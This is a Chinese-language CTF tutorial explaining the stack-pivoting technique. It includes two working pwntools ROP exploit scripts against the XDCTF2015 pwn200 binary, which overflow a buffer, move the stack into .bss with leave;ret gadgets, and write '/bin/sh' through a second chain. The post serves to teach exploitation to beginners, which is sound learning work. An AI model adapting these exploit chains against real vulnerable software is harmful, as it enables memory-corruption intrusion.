看懂栈迁移

举头望明月,低头思故乡

image

0x01 原因

由于原来溢出空间大小不足以承载payload,因此栈迁移就诞生了,解决溢出空间不足的问题。
比如:

1
2
3
4
int vuln(){
char buf[80];
return read(0, buf, 100);
}

上面这个例子的溢出空间是0x14,不足以承载我们构造的payload,既然空间不足,我们就创造一个空间足够大的新的栈空间。

0x02 原理

这是一个递进的过程。
首先怎么识别我们构造的栈是一个新的栈空间呢?
那就需要ESP和EBP来配合,EBP和ESP之间的内存单元就是程序可识别的栈空间。
那么怎么让ESP和ESP去指向新的栈空间呢?
基于栈溢出,我们能够知道,在栈溢出中,影响到的寄存器中有EBP,ESP,那么我们就可以通过构造payload来实现ESP和ESP的值。
关键指令:
一、在存在溢出漏洞的函数中,它的倒数第两条指令是leave,也就是move esp, ebp; pop ebp,这就可以改变EBP的值。
二、还是上面那一条命令,leave=>move esp, ebp; pop ebp,这个也可以通过ebp的值来改变esp的值。
下面我们看一下具体的利用过程:

image
执行move esp, ebp,使得esp指向1处,然后执行pop ebp;此时ebp寄存器就会执行fake_ebp
image
执行ret时,eip执行read函数,此时就会执行read函数,我们传入一个fake_ebp_2的十六进制(这个是作为栈底地址),此时在fake_ebp地址处(ESP指向地址)的值为fake_ebp_2。
image
read函数执行返回后执行leave_ret命令,这里可以分为三个命令来执行。
3-1时,EBP和ESP都指向了fake_ebp的位置
3-2时,EBP指向了fake_ebp_2,这里就是栈底了,ESP指向下一个内存单元,也就是ret_addr处
3-3时,ESP继续指向下一个内存单元,EIP的值就是ret_addr的值。
此时栈迁移就完毕了,我们就可以在一个新的栈里面构造payload了,通过上述可以发现,我们可以3-3的部分入手进行利用,通过2处的read函数写入满足条件的payload就可以执行命令。

0x03 实现方式

以XDCTF2015的pwn200为例子。

one

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
elf = ELF('bed0c68697f74e649f3e1c64ff7838b8')
r = process('./bed0c68697f74e649f3e1c64ff7838b8')
rop = ROP('./bed0c68697f74e649f3e1c64ff7838b8')

offset = 108 ## find stack overflow length
bss_addr = elf.bss()
leave_ret = 0x08048481 ## ROPgadget --binary bed0c68697f74e649f3e1c64ff7838b8 --only 'leave|ret'
read_plt = elf.plt['read']

r.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
## padding 108
rop.raw('a' * offset)
## faker_ebp1
rop.raw(base_stage)
### stack pivoting, set esp = base_stage
rop.raw(flat(read_plt,leave_ret,0, base_stage, 100))
## print rop.dump()
##gdb.attach(r)
r.sendline(rop.chain())

## write sh="/bin/sh"
rop = ROP('./bed0c68697f74e649f3e1c64ff7838b8')
sh = "/bin/sh"
rop.raw(base_stage)
rop.write(1, base_stage + 80, len(sh))
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
##gdb.attach(r)
r.sendline(rop.chain())
r.interactive()

执行两次fini来到read函数

image

把payload写到堆栈中,leave;ret,对ebp进行变更

image

执行payload中的write函数,将fake_ebp_2和write函数写入新的堆栈里面

image

执行leave;ret,打印出来“/bin/sh”

image

the other

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from pwn import *
context.log_level = 'debug'
context.terminal = ['deepin-terminal', '-x', 'sh' ,'-c']
elf = ELF('bed0c68697f74e649f3e1c64ff7838b8')
r = process('./bed0c68697f74e649f3e1c64ff7838b8')
rop = ROP('./bed0c68697f74e649f3e1c64ff7838b8')


offset = 112
bss_addr = elf.bss()
leave_ret = 0x08048481
read_plt = elf.plt['read']

r.recvuntil('Welcome to XDCTF2015~!\n')
## stack pivoting to bss segment
## new stack size is 0x800
stack_size = 0x800
base_stage = bss_addr + stack_size
### padding
rop.raw('a' * offset)
### read 100 byte to base_stage
rop.read(0, base_stage, 100)
### stack pivoting, set esp = base_stage
rop.migrate(base_stage)
r.sendline(rop.chain())

## write sh="/bin/sh"
rop = ROP('./bed0c68697f74e649f3e1c64ff7838b8')
sh = "/bin/sh"
rop.write(1, base_stage + 80, len(sh))
rop.raw('a' * (80 - len(rop.chain())))
rop.raw(sh)
rop.raw('a' * (100 - len(rop.chain())))
gdb.attach(r)
r.sendline(rop.chain())
r.interactive()

image

这里的区别是,注意看1,2,3处,在3处的时候ebp才变化的,也就是先在新的栈上写完payload,然后才开始执行迁移,注意一下3处,0x804a820与0x804a81c相差4。

0x04 尾记

还未入门,详细记录每个知识点,为了能更好地温故知新,也希望能帮助和我一样想要入门二进制安全的初学者,如有错误,希望大佬们指出。

-------------本文结束&感谢您的阅读-------------